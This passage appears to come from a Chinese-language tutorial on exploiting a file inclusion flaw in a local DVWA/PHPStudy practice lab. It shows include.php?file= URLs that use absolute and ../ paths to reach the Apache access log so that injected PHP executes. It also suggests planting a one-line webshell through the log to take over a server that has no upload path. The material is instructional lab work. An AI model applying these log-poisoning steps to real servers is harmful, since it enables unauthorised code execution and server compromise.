    • 绝对路径(推荐):http://127.0.0.1:端口/include.php?file=D:/phpstudy_pro/Extensions/Apache版本/logs/日志文件名 注意:路径分隔符使用/,避免\转义失效。
    • 相对路径:http://127.0.0.1:端口/include.php?file=../Apache目录/logs/日志文件名 说明:../ 跳出网站根目录,逐级定位到日志文件。
  2. 访问构造好的 URL,成功执行日志内的 PHP 代码,漏洞利用成功。

还记得上面说的先放着的地方吗

我们在原先?file参数的后面写上这个日志的路径与名称

注意路径写的是相对路径,我们最开始的那个include文件是在WWW文件夹下面

所以我们要退出WWW文件夹,所以这里的路径要写成../(这一步就是退出WWW)

然后要进入到阿帕奇的文件夹里,所以写上,阿帕奇的文件夹名称,然后进入到logs文件夹,再写上我的dvwa_acess.log.1779667200,文件名称(这个文件名称因人而异)

然后执行

最后就能看到,phpinfo函数的页面就能执行了,说明刚才写进去的脚本起作用了,通过包含的方式执行出来了

可能出现的问题

如果显示:

就是文件路径没写对,重新检查文件路径和名称

就比如我的是有些麻烦的

我的include文件是路径是在E:\desktop\bachang\DVWA
但是日志生成是D:\phpstudy_pro\Extensions\Apache2.4.39\logs
我的火狐url上就有两种方法写

方法一:使用绝对路径(推荐)

直接告诉服务器文件的完整位置,不用管你的 include.php 在哪里。

http://127.0.0.1:8088/include.php?file=D:/phpstudy_pro/Extensions/Apache2.4.39/logs/dvwa_acess.log.1779667200

注意细节:

  1. 盘符: 用 D: 开头。
  2. 斜杠: 最好用 / 而不是 \,因为 \ 在 URL 中有时会被转义,导致路径失效。

方法二:使用相对路径(比较麻烦)

如果你非要用 .. 这种写法,你需要算清楚层数:

  1. 当前目录:E:\desktop\bachang\DVWA\
  2. 目标目录:D:\phpstudy_pro\Extensions\Apache2.4.39\logs\

这两个盘符都不一样(一个是 E 盘,一个是 D 盘),相对路径跨盘符是非常困难的,通常 ../ 只能回到 E 盘的根目录,跳不到 D 盘去。

五、漏洞原理与利用场景

  1. 原理:代码直接接收用户可控参数file,传入include()危险函数,造成任意文件包含。
  2. 拓展利用:可将一句话木马写入日志,再通过文件包含执行木马,获取服务器权限。
  3. 适用场景:网站无文件上传入口时,可利用日志包含漏洞实现渗透。

如果我们在日志包含中写入一写,一句话木马代码等脚本,最后就会在服务器上面生成一句话木马

当这个网站不提供上传文件的途径的话,就可以用日志包含这样一个方式去利用渗透

常见问题

  • 端口冲突:更换 PHPStudy 网站端口即可。
  • 路径失效:优先使用绝对路径,路径分隔符统一用/

更多推荐